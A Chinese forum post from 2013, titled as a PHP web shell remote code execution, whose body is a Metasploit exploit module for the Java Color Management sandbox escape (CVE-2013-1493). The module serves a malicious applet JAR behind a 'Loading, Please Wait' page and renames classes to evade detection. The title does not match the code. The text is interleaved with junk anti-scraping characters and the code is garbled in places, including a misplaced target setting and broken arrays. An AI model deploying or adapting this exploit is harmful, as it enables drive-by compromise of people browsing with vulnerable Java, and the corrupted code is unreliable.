找回密码
 立即注册
查看: 2857|回复: 0
打印 上一主题 下一主题

STUNSHELL PHP Web Shell远程执行代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:31:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
##! h% X& y- H( v) o5 q6 s4 h8 S

" F4 W+ c( V' m, e0 M) q# This file is part of the Metasploit Framework and may be subject to* R9 m' w) O/ P; F* q3 w4 z
# redistribution and commercial restrictions. Please see the Metasploit* ?# `2 B3 ?: L7 ?
# web site for more information on licensing and terms of use.
+ P! F6 y. R6 O7 ?# http://metasploit.com/
; N+ t. p: _) U, r##% t7 ?. v. T; v
require ‘msf/core’
/ E- ?+ V" R8 a+ c& ?. a* Y  d! Lrequire ‘rex’
  Q0 R. {$ C7 d# h8 }5 v# r+ S* Q' Uclass Metasploit3 < Msf::Exploit::Remote: s1 K) i' l' k0 r( l* ^
Rank = NormalRanking$ R4 [. ~: ~" h+ K) Z0 q
include Msf::Exploit::Remote::HttpServer::HTML
4 v( R: O- T- }# q+ U# dinclude Msf::Exploit::EXE
3 H2 n, S. r; ?# pinclude Msf::Exploit::Remote::BrowserAutopwn' x  }9 O! e) f2 q; ~3 s2 r
autopwn_info({ :javascript => false })$ ]* v$ N: t$ L; a) n0 H) H& S2 \
def initialize( info = {} )
1 L( V. X$ L& l" m8 Ssuper( update_info( info,' N  h: z1 U& t
‘Name’ => ‘Java CMM Remote Code Execution’,( Q; |/ e8 N7 p: w
‘Description’ => %q{
! \# o. a+ U* V& u' WThis module abuses the Color Management classes from a Java Applet to run* b. q. Q+ R, ?" S! N
arbitrary Java code outside of the sandbox as exploited in the wild in February% `$ l+ Y5 Z% C% c/ K# `
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u417 P, t" L# X2 w
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP10 x4 }3 E0 H1 X, E! {6 L5 m" j
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java
! v$ z+ I+ I, ?" A$ dwarning in order to run the malicious applet.
0 @1 R) p( [$ p3 N4 Q},
8 I- A# m2 `  Z% \+ t‘License’ => MSF_LICENSE,3 F3 ~* L8 r( v# z4 X6 F
‘Author’ =>
9 T8 s! R9 C/ R'Unknown', # Vulnerability discovery and Exploit
* |, l& v$ Z$ D; U5 J: Q'juan vazquez' # Metasploit module (just ported the published exploit)
4 @0 v/ z, S1 N# G8 k/ E! U],2 h9 E: K) R$ d% V
‘References’ =>
2 B& B8 a5 h' m& [[
* }9 M, [+ p( z[ 'CVE', '2013-1493' ],
8 u& q0 l% c, Y7 S6 X  E[ 'OSVDB', '90737' ],& v& u! G  B) ?8 T1 O0 Y- `. s
[ 'BID', '58238' ],- ~1 w6 C  k& _: G& H% c3 Q7 J
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
, h, E8 [1 k' t* p& w[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],  f& V5 w& u9 y. T7 S) D
[ 'URL', 'http://pastie.org/pastes/6581034' ]( h# H8 m- d9 H: F. z% A
],, g/ G  D" p2 w  c( d* ~& |
‘Platform’ => [ 'win', 'java' ],
+ w3 A, W7 t# `' R) N‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
# T* v. \% f: d, A‘Targets’ =>7 K8 \. u6 v  N0 T8 s/ y
[! ?. P6 b; o) C( ~; A6 j7 ]
[ 'Generic (Java Payload)',/ ?: s, s2 y+ B/ a
{5 I% P; M2 f. s* o4 V0 C. X
'Platform' => 'java',; F5 Y7 ]% f' q/ Y4 \
'Arch' => ARCH_JAVA+ ^7 c8 e1 G2 m% E! h! L# U, j
}
  G' X; e. i! Q) j. \],! V! Q- p0 x0 v. ?- ]/ m3 k
[ 'Windows x86 (Native Payload)',
2 m6 d! U- v, U" N; a{
3 M& f3 t2 u2 E'Platform' => 'win',
6 `" a6 g6 o/ h- S'Arch' => ARCH_X86
( h8 ^& ^- j& X; |$ Q  A! m& h. H}
- n6 i' w: I* _; _8 P" r! [: x% O3 A. T]
: e& k1 B8 o$ G# J: s) V, O3 M],
$ J6 ?! ]6 a/ B' q& H‘‘DisclosureDate’ => ‘Mar 01 2013′. R# G+ V% E/ @
))  ?- O6 m5 ]' I) P. G8 }4 H0 b
end
+ ?6 t) F; X( a# c) g. sdef setup8 }$ P  m5 F- _" `. Y- A3 y: P8 ^
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)$ x  @' }$ D  f: |' ~
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }" O$ w( E% M6 H$ U3 ]7 x' ?3 f
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
# r# ^% d9 q6 G@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
' M# x+ O( F6 u5 Opath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
# h$ |+ N+ J& j+ U@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
* L" H; d9 O+ b: V* W7 D9 ]path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)) Z+ q( @1 n( V, `; E4 N3 p
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
, z4 j$ O1 e; r# F+ z% G; |$ Q. R@init_class_name = rand_text_alpha(“Init”.length)
7 K. J/ X1 q6 b* X- I  N+ H9 z@init_class.gsub!(“Init”, @init_class_name)
0 ^, O$ d6 O% r& N' A7 ]super
' C$ E$ {- }" c9 c# ^end
; P! P4 r' N  m' Z; r. Z) a' odef on_request_uri(cli, request)
9 a$ l& b& x3 R/ V3 |print_status(“handling request for #{request.uri}”)
9 h9 ]9 u6 J+ \4 u  @" vcase request.uri
7 \" b. f; _: |when /\.jar$/i
8 _% a# ~2 k7 z4 vjar = payload.encoded_jar
  @8 v0 w; l' h5 c. h% ^$ tjar.add_file(“#{@init_class_name}.class”, @init_class)
1 I8 @. \" ~" x. Z- qjar.add_file(“Leak.class”, @leak_class)
- d' Q3 w! ]  q2 v1 E5 ^& F, `7 fjar.add_file(“MyBufferedImage.class”, @buffered_image_class). \* D- E9 I9 F2 c8 E6 Y1 V
jar.add_file(“MyColorSpace.class”, @color_space_class)
& ?. g* t0 ]7 ^: p' X% F( I# mDefaultTarget’ => 1,
! t4 M/ I" h8 O# ?5 lmetasploit_str = rand_text_alpha(“metasploit”.length), f& m( H- _7 O, V/ w7 t: W( m
payload_str = rand_text_alpha(“payload”.length)
2 k2 F% q8 f: C8 W% ujar.entries.each { |entry|
  o* ?8 D" d8 c) M/ K* b" Y2 F& W+ rentry.name.gsub!(“metasploit”, metasploit_str)
" i9 s. P8 H8 j" K* Aentry.name.gsub!(“Payload”, payload_str)
: Q+ V5 b3 x4 o8 |. N% w; Q" G9 Hentry.data = entry.data.gsub(“metasploit”, metasploit_str)6 C, |3 k; L$ p# Q
entry.data = entry.data.gsub(“Payload”, payload_str)
0 B+ D/ h3 ^& Q9 \6 c}; f3 J( R6 h2 d6 ?; }
jar.build_manifest1 R8 C0 o+ i) }& D. H8 t& r! y) w
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” }): Z* d4 @4 a' x$ j2 X' b
when /\/$/  s( [- E- l+ q6 D0 G% H
payload = regenerate_payload(cli)4 i) _2 \) L. G& O
if not payload
3 r8 n/ |0 Z% e$ h* _, Cprint_error(“Failed to generate the payload.”)% j/ ^5 x1 W9 t: @
send_not_found(cli)4 l. ^; i7 r- G0 j- `8 c8 p  h0 g
return; @- h5 r) y5 Y+ @" g
end( E% B  Z  m; r" m' K) O
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
4 W$ J% u, }& t  \  s5 h% relse8 |$ t* h8 l$ _( o' |9 ~! ?* W% G
send_redirect(cli, get_resource() + ‘/’, ”)
( w9 q9 ~$ j3 R# H" k4 s. P3 iend$ p, t$ i, n& r; P9 F- f8 @
end! Z; R* Q7 \4 Y
def generate_html8 b1 N* _& r& l7 S5 D+ i
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|; x3 O) j8 `# e- ~& G
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|" [2 V2 l$ `+ d3 ?# x+ Q
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|) @  K* o2 T- P$ V* a) F1 @+ ~
html += %Q|</applet></body></html>|
+ t4 `/ n, z0 E% T  ~) t8 ireturn html
) S5 K: {9 D( gend
9 R  w! T. t3 Yend7 p" ?, ^+ L: t2 \/ R
end- O2 W# ?- N# q+ g8 s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表